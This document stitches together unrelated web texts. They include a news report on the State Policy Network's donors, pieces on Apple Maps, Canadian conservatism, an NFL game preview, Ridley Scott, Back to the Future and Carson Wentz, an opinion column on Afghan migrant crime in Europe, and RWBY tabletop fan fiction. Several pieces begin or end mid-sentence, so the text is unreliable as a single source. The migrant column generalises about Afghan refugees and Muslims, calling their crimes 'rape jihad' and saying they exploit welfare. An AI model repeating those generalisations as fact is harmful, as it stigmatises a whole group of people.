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causes, but most either declined to comment or had not responded by the time of publication.
In a statement, a spokesperson for Microsoft said: “As a large company, Microsoft has great interest in the many policy issues discussed across the country. We have a longstanding record of engaging with a broad assortment of groups on a bipartisan basis, both at the national and local level. In regard to State Policy Network, Microsoft has focused our participation on their technology policy work group because it is valuable forum to hear various perspectives about technology challenges and to share potential solutions.”
SPN works in parallel with the American Legislative Exchange Council, Alec, a forum that brings together largely Republican legislators and corporations to devise model bills that are used to attack workers’ rights in various US states.
The Koch brothers have donated directly to the network either personally or through corporate funds from Koch Industries and from family foundations. Two closely-related funds, the Donors Trust and Donors Capital Fund, described by Mother Jones as the “dark money ATM of the conservative movement”, give at least $1.5m a year – channeling money to the network from individual donors whose identity the funds obscure.
Several prominent rightwing billionaire donors are also involved, including Art Pope, an ally of the Koch brothers; the Walton family of Walmart, which funds SPN members in Arkansas, California, Massachusetts and Washington state; the foundation of billionaire Republican donor Richard Mellon Scaife; and the Searle Freedom Trust, created out of the fortune of the creator of NutraSweet, which funds a number of conservative causes.
Graves said that the individual thinktanks who make up SPN present themselves as “neutral, non-partisan groups, but are in fact part of a national network to project the voices and interests of some of the most powerful corporations and families in the country”.
Gordon Lafer, a professor at the University of Oregon, said that SPN groups were actively targeting the rights of often non-unionised employees. His research had uncovered attempts to expand the use of child labour, cut the minimum wage, reduce unemployment benefit, make it harder to sue employers for sex or race discrimination, or even to police wage theft where companies refused to pay workers over-time or any wages at all.
“These are a very dramatic package of proposals at a time of economic hardship, and they are being rolled out in a cookie-cutter fashion from state to state, and affecting the lives of working people across the country.”
Lafer added: “This looks like scholarship from local organisations, but in fact it is neither – neither scholarship, nor local.”FORTUNE — The assumption behind much of the nonstop coverage of Apple’s (AAPL) cartographic crisis is that the damage was entirely self-inflicted. Apple rolled its new iOS Maps app out before it was ready and its mobile users — wandering the globe without a trustworthy electronic atlas — have paid the price.
But it takes two to screw up a relationship like the one Apple had for five years with Google (GOOG) — where Apple software engineers wrote and maintained the original iPhone Maps app while Google built up its mapping database. Sorting out what role Google played in the breakup has not been easy.
The first signal out of Google after Apple’s new Maps app was released came from Brian McClendon, Google’s maps VP, who told reporters that the company was committed to putting Google Maps on every available platform. That remark was interpreted to mean that Google had submitted a new mapping app for iOS 6 and that Apple’s reviewers were sitting on it — a rumor The Loop‘s Jim Dalrymple shot down with one word: “Nope.”
Meanwhile Google chairman Eric Schmidt, speaking to reporters in Tokyo Tuesday, was a study in deliberate obfuscation.
Under the headline “Google’s Schmidt Says Up to Apple to Decide on Maps App,” Bloomberg’s Teo Chian Wei reported Schmidt’s remarks like this:
“We haven’t done anything yet with Google Maps,” Schmidt told reporters in Tokyo today. Apple would “have to approve it. It’s their choice,” Schmidt said, declining to say if the Mountain View, California-based company submitted an application to Apple for sale through its App Store.
“Google says Maps not waiting in wings for iPhone 5” was Reuters’ headline, based on Kevin Krolicki’s reporting from the same press conference:
Google Inc has made no move to provide Google Maps for the iPhone 5 after Apple Inc. dropped the application in favor of a home-grown but controversial alternative, Google’s Executive Chairman Eric Schmidt said… “We think it would have been better if they had kept ours. But what do I know?” Schmidt told a small group of reporters in Tokyo. “What were we going to do, force them not to change their mind? It’s their call.”
The picture of Google as a passive player in a drama staged by Apple was contradicted by a report Tuesday evening by The Verge‘s Chris Ziegler:
“Apple’s decision to ship its own mapping system in the iPhone 5 and iOS 6,” he wrote, “was made over a year before the company’s agreement to use Google Maps expired, according to two independent sources familiar with the matter. The decision, made sometime before Apple’s WWDC event in June, sent Google scrambling to develop an iOS Google Maps app — an app which both sources say is still incomplete and currently not scheduled to ship for several months… “For its part, Apple apparently felt that the older Google Maps-powered Maps in iOS were falling behind Android — particularly since they didn’t have access to turn-by-turn navigation, which Google has shipped on Android phones for several years. The Wall Street Journal reported in June that Google also wanted more prominent branding and the ability to add features like Latitude, and executives at the search giant were unhappy with Apple’s renewal terms. But the existing deal between the two companies was still valid and didn’t have any additional requirements, according to our sources — Apple decided to simply end it and ship the new maps with turn-by-turn.”
Unlike Schmidt’s deliberately cagy remarks, Ziegler’s account of Google being taken by surprise and scrambling to respond has the ring of truth. And his version of events was confirmed early Wednesday by the
New York Times
‘ Nick Wingfield and Claire Cain Miller.
See also: Why Apple pulled the plug on Google MapsThe union movement’s recent massive political attack against the Ontario Progressive Conservatives was the most one-sided battle since General George Custer’s unfortunate encounter with the Sioux Nation. The unions, who represent the left-side of the ideological spectrum, met virtually no opposition from their counterparts on the right.
No conservative group, no right wing organization, no populist alliance emerged during the provincial election to stage anything close to an effective counter-attack against the union propaganda machine.
Most notable by its absence was the National Citizens Coalition, a conservative advocacy group that once roared like a lion, but which in the last election could only mew like a kitten.
As a result, poor PC leader Tim Hudak had to face the ferocious union onslaught alone.
What’s going on here? Why did conservatives seemingly not show up for the fight?
Well, the answer, oddly enough, is that the conservative movement has been effectively neutered by its own political leadership. To comprehend how this came about, it’s necessary to understand the nature of Canada’s conservative movement.
First off, forget all those crazy claims from the left about the conservative movement being nothing but a front for capitalist fat cats and oil companies and the CIA.
The fact is the movement is made up overwhelmingly of grassroots conservative activists – small business people, entrepreneurs, ideologues – who support the free market system and who despise socialism and fear big government.
What mobilizes and energizes these activists is a commitment to an ideology, to a vision, to the idea of “more freedom through less government.”
It’s this commitment to an ideal which led them to fill out the ranks of the old Reform party, which led them to adore former Ontario premier Mike Harris’s “Common Sense Revolution”, and which led them to donate money to groups like the National Citizens Coalition. They were willing to fight any foe, take on any battle, charge any obstacle to advance the cause.
Unfortunately, such ideological ardor is difficult, if not impossible, to maintain without strong political leadership. To thrive, in other words, the movement needs political standard-bearers; it needs heroes. It needs inspiration from “movement conservatives” like Ronald Reagan and Margaret Thatcher.
But these days such conservative heroes are scarcer than goals at a World Cup soccer match. This is especially true in Ontario where the “Common Sense Revolution” morphed in the Red Toryism of Ernie Eves and John Tory and into the lacklustre leadership of Tim Hudak. And on the federal level, the ideologically oriented, fiscally conservative, populist-minded Reform party evolved into the Conservative Party of Canada, which is not so much a political party as it is a soulless marketing machine.
Indeed, the Conservative party is not about advancing an ideological agenda but about doing whatever it takes to win elections. Under Prime Minister Stephen Harper’s leadership, the Conservative party has adopted not only the Liberal party’s pragmatic cynicism, but also its big spending economic agenda.
All of this has deflated, disillusioned and demoralized Canada’s conservative movement. If even Harper, a one time ideologue who once headed the National Citizens Coalition, won’t implement a principled conservative agenda, who will? Consequently, conservative activists, the people who actually believe in conservatism, are checking out. Yes, they will still do their civic duty and vote (at least many of them will); yes they will still donate dollars to conservative parties. But don’t expect them to go above and beyond the call of duty because simply put, they’ve lost their zeal for battle.
And that makes sense. Why should ideological conservatives waste their time, their energy and their money for the sake of helping political leaders who will ultimately betray them?
Gerry Nicholls was formerly a senior executive with the National Citizens Coalition.Adam Bettcher/Getty Images
The Green Bay Packers have lost three straight games with Aaron Rodgers healthy for the first time since 2008, but the Minnesota Vikings—who've used their five-game winning streak to jump Green Bay in the standings—won't be underestimating the franchise's biggest rival when the Packers take on the Vikings in Minnesota on Sunday.
The respect level is still very high for the four-time defending NFC North champions at Winter Park.
"I don’t really worry too much about them as far as what’s happened to them or anything else," head coach Mike Zimmer said. "I just watch the tape and see the type of team they are—the explosiveness, the quarterback, the receivers that they have, their offensive line; defensively, [Julius] Peppers and [Clay] Matthews, they don’t change. They’ve got great coaches."
The Vikings (7-2) are in sole possession of first place in the NFC North, but it will take a win over the Packers (6-3) on Sunday to stay there. Victories against Green Bay have been hard to come by for the Vikings, especially in recent years. Since 2010, the Vikings have one win (in 2012) and one tie (in 2013, with Rodgers out) in 11 games with the Packers.
There seems to be no better time than now to reverse the trend. Green Bay started the season 6-0 but has lost in each of the last three weeks, including the unexpected home upset at the hands of the Detroit Lions last time out. If the Lions can win in the state of Wisconsin for the first time in almost a quarter of a century, the Vikings can certainly get their first win in six tries against the Packers on Sunday.
Packers, Vikings Trending in Opposite Directions GB 3-game Losing Streak MIN 5-game Wining Streak PPG 18.3 23.6 Opp. PPG 28.0 16.2 Rushing/Game 69.3 155.8 Opp. Yards/Game 404.7 319.6 Vikings 7-2, Packers 6-3
On paper, Green Bay looks very vulnerable. The Packers are averaging just 18.3 points per game over the last three weeks, while Rodgers—typically a Vikings killer—has been starting slow and uncharacteristically inefficient in recent games.
Zimmer and his staff don't seem to agree. Asked whether he thought anything looked different with Rodgers, Zimmer gave a quick response: "Same guy to me—great movement in the pocket, great vision, throws the ball anywhere at any time, gets the guys in the right protections. I have the utmost respect for him."
Vikings defensive coordinator George Edwards felt the same.
"There is no doubt the respect that we have for this guy and his ability," Edwards said on Thursday. "He can make every throw and the thing that’s so impressive about him is his mobility in the pocket, where he can run it or throw it. He’s still getting the ball at the point."
Over 14 career games against the Vikings, Rodgers has thrown 31 touchdowns and just four interceptions, recording a blistering passer rating of 119.0. Last season, he threw five touchdowns without an interception as the Packers scored 66 combined points and won both games.
Aaron Rodgers: Career vs. Minnesota Vikings Rodgers Games 14 Comp. % 71.2 Passing Yards 3490 Yards/Attempt 8.7 Touchdowns 31 Interceptions 4 Passer Rating 119.0 Packers: 10-4
Yet since the Packers came out of bye in Week 8, Rodgers has completed 56.5 percent of his passes and averaged 5.9 yards per attempt. His 86.0 passer rating is almost 20 points beneath his career mark.
The Denver Broncos held him to just 77 passing yards and 10 points in a decisive win on Nov. 1. A week later, Rodgers needed a furious rally in the fourth quarter to even have a chance at tying the Carolina Panthers on the road. Last time out, the Packers had just three points through the first 55 minutes of Detroit's upset.
The one on display in the last three games simply hasn't looked like the Rodgers' offense.
While a million different reasons might be at play in Green Bay, one in particular appears to stand out for Minnesota. Opposing defenses are rushing smartly and keeping Rodgers in the pocket.
"I think most every team understands when he gets out of the pocket, a lot of bad things happen," Zimmer said. "That’s not just the last three games, it’s the last 10 years probably. You have to be smart in how you rush him."
Hannah Foslien/Getty Images
Locked inside the pocket, Rodgers hasn't been able to create plays on the move. Without the extra time and movement to create passing windows for receivers, Green Bay's passing game has lacked rhythm and often looked stale.
"For us, we know what type of quarterback and respect we have going in for the game with the things he’s able to do," Edwards said. "Whether he’s moving in the pocket to throw it or whether he decides if you’re matched up in coverage, we’ve got to do a good job as far as our rush lanes, knowing exactly what our rush plan is this week."
Rodgers' game isn't the only thing that's gone haywire for Green Bay. Count the defense as another reason for the Packers' slide.
Despite a better effort against Detroit, Green Bay has looked fairly average against quarterbacks such as Philip Rivers, Peyton Manning and Cam Newton. The San Diego Chargers, Broncos and Panthers combined to score 86 points against Dom Capers' defense.
There's still plenty of respect for the unit from Vikings offensive coordinator Norv Turner, who called the Green Bay defense "outstanding" and went on to say:
I see them very much as we saw a year ago, as they’ve played over the last few years, they’re very talented in all areas, very multiple in their scheme, they present a lot of problems in preparation and then want you to identify who and where and how you have to go about blocking them and protecting the quarterback against them. Then you’ve got to do it physically because they’re very talented.
The Packers forced four turnovers and held Minnesota to just 31 total points in two games last season.
Then again, Green Bay didn't have to deal with running back Adrian Peterson, who currently leads the NFL in rushing. If Rodgers is a pain in the Vikings' rear, Peterson is a thorn in the Packers' heel.
Adrian Peterson: Last 4 Games vs. Packers Date Score Att Yards TD 12/2/2012 14-23 21 210 1 12/30/2012 37-34 34 199 1 10/27/2013 31-44 13 60 1 11/24/2013 26-26 32 146 1 Also: 6 receptions, 37 yards, TD
Over his last four games against Green Bay, Peterson has gained 615 rushing yards and scored five touchdowns. Overall, he has eight career games with at least 100 yards rushing against Minnesota's biggest rival.
"Adrian is so strong and so physical and he’s fresh right now," Turner said.
Another big game from Peterson could help get Zimmer one of his biggest wins as Vikings head coach. A victory over the Packers would give Minnesota a two-game lead—plus a head-to-head tiebreaker—with just six games to play. The Vikings and Packers play again in Week 17 at Lambeau Field.
If Minnesota loses Sunday, a lack of respect won't be why. The Vikings understand Zimmer is trying to build something in Minnesota that resembles what head coach Mike McCarthy and general manager Ted Thompson have already constructed in Green Bay.
"Their organization is one of the top organizations in sports and honestly we’re just trying to get in the mix with these guys," Zimmer said. "They’re the top level and we’re just trying to get into the mix."
The Packers have won their respect. The Vikings can grab a big chunk of their own with a victory over their longtime rival on Sunday.
Zach Kruse covers the Vikings for Bleacher Report.
Follow @zachkruse2EXCLUSIVE: Ridley Scott already had plenty of momentum heading into Golden Globes weekend with a Best Director nomination, and now he has even more. I hear that Scott is in early negotiations on a deal to come aboard and direct The Prisoner, the screen version of the 1968 Patrick McGoohan British TV series. This has been a plum project at Universal for some time with numerous A-list scribes including Christopher McQuarrie writing drafts. The most recent version was by The Departed scribe William Monahan. The film is being produced by Bluegrass Films Scott Stuber and Dylan Clark. Scott’s Scott Free team will likely become part of it as they get the script that makes the director happy. Numerous writers are circling to do that, and the elbowing by several top actors has also begun, now that word is getting around that Scott is coming aboard.
The Prisoner (known only as Number Six) is a former government agent who abruptly resigns from his job and finds himself imprisoned in an idyllic yet bizarre seaside village isolated from the world by the sea and mountains. He can’t escape because he knows too much, but that doesn’t stop others trying to capture him for his knowledge. What he wants is to keep them at bay and find his way to freedom.
Scott is prepping Alien: Covenant for Fox, which he’ll shoot shortly, and he hasn’t set a film after that. Covenant wraps up the storyline teased in 2012’s Prometheus, the film that picked up the storyline he started with his groundbreaking Alien. Scott is repped by WME. The Martian is also up for Best Picture in the Musical or Comedy Globes category, and Matt Damon is up for Best Actor."Back to the Future Part II" came out 25 years ago in 1989, and remains one of the most beloved time travel movies of all time. (No offense, Bill and Ted.)
One year from now will be the date that Marty McFly (Michael J. Fox) and Doc Brown (Christopher Lloyd) travel to in the future: October 21, 2015. What ensued was a '80s-esque vision of what could be, including flying cars, fax machines (ha!) and the Chicago Cubs winning the World Series.
Here are 21 futuristic predictions "Back to the Future" got right -- and wrong:
1. Hoverboards (WRONG)
Seeing Marty use a floating skateboard to evade bullies (and later save Doc's lady Clara in "Back to the Future Part III") made everyone immediately want to buy their own. The only problem is they didn't exist and they still don't, though we have hovercrafts and non-floating replicas of the Mattel Hoverboard. Tony Hawk and others had fun with a "Huvr hoax" in March, but the closest thing we have today could be the HENDO Hoverboard, a magnetic skateboard that can only float above a copper surface -- and only one inch off the ground -- which still needs Kickstarter funding.
2. Sneakers with power laces (RIGHT... soon)
In February, Nike designer Tinker Hatfield said sneakers with self-tying "power laces" will be released in 2015, just in time to make the movie's predictions true. In 2011, the shoe company sold 1,500 Nike Air MAG replicas that lit up like Marty's actual kicks (but didn't lace up automatically) to benefit the Michael J. Fox Foundation for Parkinson's Research.
3. Auto-drying jackets and inside-out pants (WRONG)
Futuristic fashion is almost always wrong in movies, but at least "BTTF" didn't make everyone wear shiny jumpsuits. And thank goodness, inside-out pants haven't taken off -- or backwards clothes, like Kris Kross.
4. Flying cars (WRONG)
Driver-less and self-driving cars are starting to make "Demolition Man" seem oddly realistic, but flying cars? Anyone who's ever been in a car crash can imagine the dangers of letting just anyone fly their vehicles around.
5. 3-D movies and doing sequels to death (RIGHT)
"Jaws 19" hasn't happened yet, but we've got seven "Saw" movies, a 13th "Friday the 13th" is due in 2015, at least five more "Star Wars" movies are in the works, and seemingly everything's in 3-D these days. The Scenery Channel still hasn't happened yet, though.
6. Flat-screen TVs mounted on the wall (RIGHT)
Not everyone's got a wall-sized television unit like the McFly family, but flat-screen high-definition TVs with the 16x9 aspect are now common.
7. Fax machines and phone booths (WRONG)
OK, phone booths and fax machines still exist, but when's the last time you saw someone using them? Marty Jr. is seen using a pay phone and old Marty gets fired via fax, showing that writer-director Robert Zemeckis had no idea cell phones (or smartphones) were on the horizon.
8. Tablets, Google Glass, digital cameras, more devices (RIGHT)
In the future, you can sign a petition to save the clock tower by pressing your finger on what looks like an iPad or Kindle. Marty and Jennifer's (Elisabeth Shue) kids use "TV glasses" to answer the phone, which sounds a lot like Google Glass and other wearable smart devices. Doc takes photos with a digital camera that actually looks outdated now. And the family "talks" to the house, turning on lights and televisions -- which are also possible through computer voice assistants like Siri and Cortana.
9. Rehydrated pizza (WRONG)
Grandma (Lea Thompson) "rehydrates" a pizza in seconds, turning a little frozen block into a large, hot meal. Dehydrated food does exist (astronauts eat it) but rehydrated? That doesn't sound organic -- or likely to happen anytime soon.
10. Penalties for illegal performance enhancements in sports (RIGHT)
Gawker points out the USA Today that has the front page headline about Marty (and later Biff's gang) being jailed also has a side-column headline about a pitcher being suspended for using a bionic arm. It's not the same as PEDs like steroids, but can you imagine Mariano Rivera with a bionic arm?
11. A baseball team in Miami (RIGHT)
Speaking of baseball, a hologram in 2015 tells Marty that Miami was in the World Series. The Miami-based Florida Marlins made their MLB debut in 1993, four years after the movie.
12. Cubs win the World Series (WRONG)
That same hologram says Chicago beat Miami, which hasn't happened yet. In fact, the Cubbies still haven't won a World Series since 1908.
13. Queen Diana (WRONG)
The futuristic USA Today, sent by compu-fax satellite, also refers to Princess Diana as a queen, which she could've been at this point, if she hadn't been killed in a car crash in 1997. Diana would've turned 54 in 2015.
14. Drones (RIGHT)
Business Insider adds the photo of young Biff being arrested in 2015 was taken by a USA Today drone. That's a growing reality, though the newspaper might not have its own drone yet.
15. Mr. Fusion (WRONG)
As iO9 writes, Mr. Fusion would have been the movie's most useful invention -- if it were real. It's basically a personal energy reactor that literally transforms garbage into clean fuel for a car (and takes care of throwing out the trash).
16. Suspended animation kennels (WRONG)
iO9 also brings up a scene where Doc says he left his dog Einstein in a suspended animation kennel. The testing that would go into developing such a device sounds frightening.
17. Video games that don't require hands (RIGHT)
Remember seeing little Elijah Wood at the arcade game, telling Michael J. Fox that having to use your hands to play video games is "like a baby's toy?" Hello, Nintendo Wii and Microsoft Kinect.
18. Thumbprints to make payments (RIGHT)
Old Biff (Thomas F. Wilson) uses his thumbprint to pay for a cab ride and the iPhone 6 uses fingerprints on its Touch ID for Apple Pay feature, making payments simply by waving a smartphone at checkout at Wegmans and other retailers.
19. Double ties (WRONG)
Yes, 2015 Marty wears two ties. Has anyone tried that in real life? Who could pull it off?
20. Laser discs (WRONG)
11 Points notes that Marty and Doc hide passed out Jennifer's body on a pile of laser discs, which have been almost completely obliterated by cloud storage, streaming video and Blu-Ray DVDs.
21. Video conferencing (RIGHT)
Old Marty talks with Needles (Red Hot Chili Peppers' Flea) and his boss via a video call. FaceTime, Skype, G+ chat and dozens of other video conferencing services now exist, proving the future is finally here. Sort of.
By the way, no one's predicting a "Back to the Future 4" just yet. Bob Gale, who co-wrote and co-produced the original "Back to the Future" trilogy, recently said a sequel isn't likely to happen:
"Let's face it, we've seen a lot of sequels that are made years and years later and I don't think I can name one that's any good, that lives up to the originals," Gale told Yahoo Movies last week.
Of course, reboots and spinoffs are another story -- a "Back to the Future" musical is still in the works.Nothing has changed since then. Before he was named the Eagles’ starter, the quarterback was still doing all the little things to make sure he was mentally and physically ready. When head coach Doug Pederson announced on September 5 that Wentz would be the No. 1 quarterback, the rookie didn’t have to alter his preparation.
“I'm walking in at 5:45 this morning and he's already in the film room,” Pederson said during a press conference ahead of the team’s season opener. “That's just the type of person and that's the type of quarterback that we have. That's the type of guy that we knew we have in Carson Wentz. The way he led the huddle on Monday at practice, just what he's done in the last couple days, just getting himself ready to go just shows you the type of leader and the type of person that he is.”
While his coaches, past and present, as well as his teammates are impressed by how Wentz goes about his daily business, it isn’t something that fazes the quarterback.
In his mind, he’s just doing his job. There isn’t a reason for all the praise.
“There’s a lot of time in the film room, early mornings and some late nights. It’s just part of it,” Wentz said. “It’s part of being a student of the game and preparing. I love it. It’s understanding you want to be out there on Sundays dissecting things you’ve already seen. So, it’s just all part of it. You put in your time, but it’s definitely worth it and I enjoy it.”
While it’s still early in the quarterback’s career, and there are sure to be some bumps down the road, his first two regular season starts were memorable. Having missed so much of the preseason with a rib injury, Wentz’s level of readiness was a bit uncertain to those not constantly around him.
Would 38 snaps in one exhibition game be enough for the rookie to have a successful start to his NFL career? In the mind of his college coach, the answer was a resounding yes. Klieman remembered when the quarterback was out for eight games with a broken wrist last season. Even with the injury, Wentz didn’t miss a second of the behind-the-scenes action.
He may have been unable to suit up on Saturdays, but Wentz was still one of the hardest, most dedicated workers on the roster.Migrants and refugees, mostly Afghan, argue with police at a camp in Athens, Greece, in February. (Reuters photo: Alkis Konstantinidis)
A compelling piece from a member of the foreign-policy elite suggests the answer is ‘yes.’
One of the hallmarks of jihadists is their grotesque savagery against women. The classic Hollywood picture of a jihadist as a pure, pious young Muslim man is largely nonsense. The reality is far more brutish. The tales of sex slavery in ISIS-held Iraq and Syria should chill thinking people to the bone. During my own time in Iraq, al-Qaeda terrorists were known for systematically raping women as part of an effort to shame them into becoming suicide bombers. After brutal gang rapes, they were told that the only way they could “redeem” their allegedly lost honor was to strap a bomb on their broken bodies and blow themselves up at restaurants, checkpoints, and hospitals. It was pure evil.
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Also striking was the nonchalance and fearlessness of the most hardened jihadists after their capture by Americans. By the end of my deployment, I could almost predict whether we’d snagged a committed jihadist by his attitude in detention. Al-Qaeda leaders would often laugh, act like they were on vacation, and sometimes attempt to engage their captors in casual conversation. I’ll never forget the arrogant confidence of an Oxford English-speaking leader of an al-Qaeda rape ring. They knew they were safe, and they gloried in their invulnerability.
It’s against this backdrop — savage treatment of women and contempt for Western justice — that I read with alarm a stunning report on “Europe’s Afghan crime wave.” The piece is notable not just for its content, but for its author. Cheryl Benard has worked sympathetically with refugees and was a subject-matter expert at the RAND corporation. In other words, this piece isn’t from the anti-Muslim fever swamps but from the heart of the elite national-security establishment. Her thesis is simple: European nations are grappling with a wave of vicious immigrant attacks against women, and the attackers are coming disproportionately from Afghanistan.
The stories are horrifying, sometimes involving attacks in broad daylight and in public spaces like parks, trains, and train stations. Read these stories and try to imagine them happening here:
In one recent case that raised a huge public outcry, a woman was out for a walk in a park on an elevation above the Danube. With her she had her two children, a toddler plus her infant in a baby carriage. Out of the blue, an Afghan refugee leapt at her, threw her down, bit her, strangled her and attempted to rape her. In the struggle, the baby carriage went careening towards the embankment and the infant almost plunged into the river below. With her second child looking on aghast, the woman valiantly fought off her assailant, ripping the hood off his jacket, which later made it possible for an Austrian police dog to track him down.
Or take these stories, from an Austrian daily newspaper:
Front page: Afghan (eighteen) attacks young woman at Danube Festival. “Once again there has been an attempted rape by an Afghan. A twenty-one-year-old Slovak tourist was mobbed and groped by a group of men. She managed to get away, but was pursued by one of them, an Afghan asylum seeker who caught her and dragged her into the bushes. Nearby plainclothes policemen noticed the struggle and intervened to prevent the rape at the last moment.” Page ten: “A twenty-five-year-old Afghan attempted to rape a young woman who was sitting in the sun in the park. Four courageous passersby dragged the man off the victim and held him until the police arrived.” Page twelve: “Two Afghans have been sentenced for attempting to rape a woman on a train in Graz. The men, who live in an asylum seekers’ residence, first insulted the young woman with obscene verbal remarks before attacking her. When she screamed for help, passengers from other parts of the train rushed to her aid.”
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Compounding the horror, she describes how authorities covered up or minimized the worst atrocities:
It became clear that the authorities had known about, and for political reasons had deliberately covered up, large-scale incidences of sexual assault by migrants. For example, a gang of fifty Afghans who terrorized women in the neighborhood of the Linz train station had been brushed off by a government official with the remark that this was an unfortunate consequence of bad weather, and that once summer came the young men would disperse into the public parks and no longer move in such a large, menacing pack. The public was not amused.
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Benard concentrates on Austria, but these stories are being repeated across Europe. Moreover, these disproportionately Afghan attackers display breathtaking contempt for the law. Old men with gray hair will claim to be minors. They ruthlessly exploit welfare systems, due process, and Western norms to not just attack women but to suck all the resources they can from their increasingly angry and frustrated hosts.
Apologists try to offer absurd explanations for the crime wave, claiming alcohol abuse (an excuse sometimes offered by the refugees themselves), culture clashes, and the alleged inability of fundamentalist men to control themselves when exposed to the actual female form. All of them fail. Human beings are not that animalistic. A few beers don’t transform men into wild animals. Nor does the sight of a young mom’s bare arms. Benard, instead posits a different and far more disturbing explanation:
This brings us to a third, more compelling and quite disturbing theory — the one that my Afghan friend, the court translator, puts forward. On the basis of his hundreds of interactions with these young men in his professional capacity over the past several years, he believes to have discovered that they are motivated by a deep and abiding contempt for Western civilization. To them, Europeans are the enemy, and their women are legitimate spoils, as are all the other things one can take from them: housing, money, passports.
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This explanation, in fact, rings true with jihadist theology and practice. Sex slaves represent “spoils,” as does the wealth of conquered regions. It’s a return to the plunder of the medieval past. The gentle Europeans give them nothing to fear, so jihadists live as they wish, taking what they want.
Benard ends her piece with a disturbing observation. Many of these Afghan men are products of American-funded education, grown up in an American-influenced nation. She calls these men “ours.” It’s a challenging point, but she’s wrong to say that we’ve been “the dominant influence and paymaster in Afghan society.” Paymaster, yes. Influence, no. Talk to virtually any veteran of the Afghan war, and he’ll tell you — we’ve barely touched the underlying culture, and the line between outright enemy and oppressed refugee is very blurry indeed.
America has friends in Afghanistan, to be sure, but it’s also full of enemies who hate America and the West. Never forget that it was and is fertile ground for Taliban extremism. It’s simply a mistake for anyone to think that the fact that someone “flees” a jihadist nation is at all relevant to their views about jihad or their regard for Western civilization.
So far, the United States has been fortunate. In large part because of the vast ocean that separates us from the Middle East, our refugee influx has never been more than a trickle compared with the surges that overwhelmed Europe after the rise of ISIS. Would the Obama administration have had the will to turn away a million men and women if they somehow washed up on our shores? But as the political battle over immigration and refugees continues to rage, Benard’s story is a vital reminder that jihad is the product of a culture that isn’t confined to the soil of a place. When enemies move, they bring their hatred to new lands.
What’s the solution? Benard calls for rigorous screening that reads a bit like the oft-maligned “extreme vetting” that Trump rightly promises. She also has a challenge for the Left:
Finally, the Left has to do a bit of hard thinking. It’s fine to be warm, fuzzy and sentimental about strangers arriving on your shores, but let’s also spare some warm, fuzzy and sentimental thoughts for our own values, freedoms and lifestyle. Girls and women should continue to feel safe in public spaces, be able to attend festivals, wear clothing appropriate to the weather and their own liking, travel on trains, go to the park, walk their dogs and live their lives. This is a wonderful Western achievement, and one that is worth defending.
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In the aftermath of sexual assaults in Cologne, Stuttgart, and Hamburg at the end of 2015, my colleague Andrew McCarthy coined the term “rape jihad” to describe the systematic, large-scale, and public attacks on women at the hands of Muslim migrants. It’s a reminder that jihad — even violent jihad — is about more than car bombs, random stabbings, or nightclub shootings. It’s also manifested through a ground-up assault on Western values, taking advantage of Western sympathies, to create fear and confusion. Europe is teaching America a sad lesson. Our compassion must never make us fools.
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bodily into the rocky floor and succeeds in pinning her to the ground.
The DM smirked a little as she tipped the white token onto its side.
Weiss glanced up from the handbook in her lap with a look of consternation. “I have, like, negative strength. There’s no way I can unpin myself...”
Velvet’s smirk only intensified.
“Hrmph mrg?” the wizard calls out, but the plaintive plea is stifled by the giant hand over her mouth and most of her face. She settles for waving her arms.
Somehow her companions manage to understand her muffled cries and thrashing limbs. Myrtle is unable to see the attacks, but the sounds of a chain wrapping around her assailant and fists connecting solidly with flesh are unmistakable. The whistle of a massive blade sounds through the air and—finally!—the hand pinning her lets go, leaving her free to pick herself up.
Shroud is standing to one side, frowning at the faint clouds of glitter swirling around the retreating Banesaw as she unconsciously scrubs her hand against her own tunic. “Does this stuff go away?”
Myrtle grins to herself. “It will once you kill him!”
“Consider it done!”
With a slew of attacks that defy physics, Shroud lands several crippling hits against the White Fang lieutenant. An uppercut from Ember catches him in the stomach and a mighty headbutt connects with his chin with a sickening crunch. His giant form falls to the ground, neck twisted at an unnatural angle. “Kill steal!” Shroud grumbles.
Ember merely shrugs. “Did you want him down or not?”
Shroud prods at the body, still faintly shimmering with gold iridescence. “Isn’t this supposed to disappear once he’s—”
“Did you just manipulate me into killing Banesaw?” Blake hissed at Weiss, but only received a grin in reply.
The white-suited, orange-haired elf appears in a huff at the far end of the tunnel, taking in the situation with a sweeping glance. He looks angry, but not all that surprised, cursing loudly in an Elvish tongue. With a visible effort he clears the irritation from his face and turns towards the adventurers. “Not so pleased to make your acquaintance,” he says with a bow as he doffs his hat, “I’m Torchwick, head of the... joint business venture here.” Despite the chaos around him, he keeps his tone suave and self-assured, as if he’s introducing himself at a cocktail party.
“Nice to meet you, too, Captain Exposition,” replied Yang, teasingly.
Velvet bristled. “Listen here, we’ve got eighteen pages of character background to get through, so the less time you waste interrupting me, the better.”
“Pff, nice try.” Her eyes narrowed. “What’s his favorite scotch?”
“Mr. Torchwick is more a bourbon man, but if pressed, he prefers a Laphroaig single malt, 30-year-old, of course,” Velvet answered without missing a beat.
Yang let out a defeated huff. “You win this round.”
He rapidly barks commands to several of the grunts still in the melee, evidently no stranger to violence. “Take care of these kids. I have to find Neo.”
“We need to stop him!” Rose shouts.
“But we can’t just go after him with these mobs still attacking us!” Ember grunts as she weathers a glancing blow from a mace.
The adventurers turn to look at Myrtle. “Got any area-of-effect spells?” asks Rose, casually parrying a sword swing with the haft of her scythe.
The wizard winces as an arrow nicks her leg. “I’m running low on higher level spell slots, and it looks like we’ve got at least one more fight ahead of us...”
Rose’s gaze alights on the Dust crates stacked along the tunnel wall. “I’ve got an idea...”
Shroud follows Rose’s line of sight and picks up on the plan immediately. She runs one end of the fuse along the back of the boxes. Upending an open crate, she dumps the contents between the wall and the rest of the stack, over the cord. She unwinds the rest of the coil, backing away from the pile of Dust as she does before striking a tindertwig on the rough rock floor and lighting the makeshift incendiary.
Velvet stared pointedly at Blake, the faint drumming of fingers audible from behind the DM’s screen.
“What?”
“I thought you said you weren’t going to firebomb anything.”
Blake’s lips were pressed into a thin line as she fished for a response. “You’re not wrong,” she admitted reluctantly, “but this was Ruby’s idea. Now did I roll well enough for this to work?”
A sharp explosion tears through the mine shaft, followed by the rumbling of falling rocks and faint patter of debris. The large gout of flame takes out the final White Fang grunts, but Torchwick is outside the blast radius and remains unaffected. He wastes no time and runs towards the center of the chaos, away from the adventurers, and disappears. When the smoke clears, a new passage is visible. Those closest to the entrance, and Shroud, can see that the floor of the tunnel slopes upwards, and a faint light is visible in the distance.
Rose lags behind the group as they make their way through the gap.
“Rose!” Ember shouts when she notices.
“But he had a chainsaw!” she whines, though she picks up the pace, regardless, to join the rest of the party.
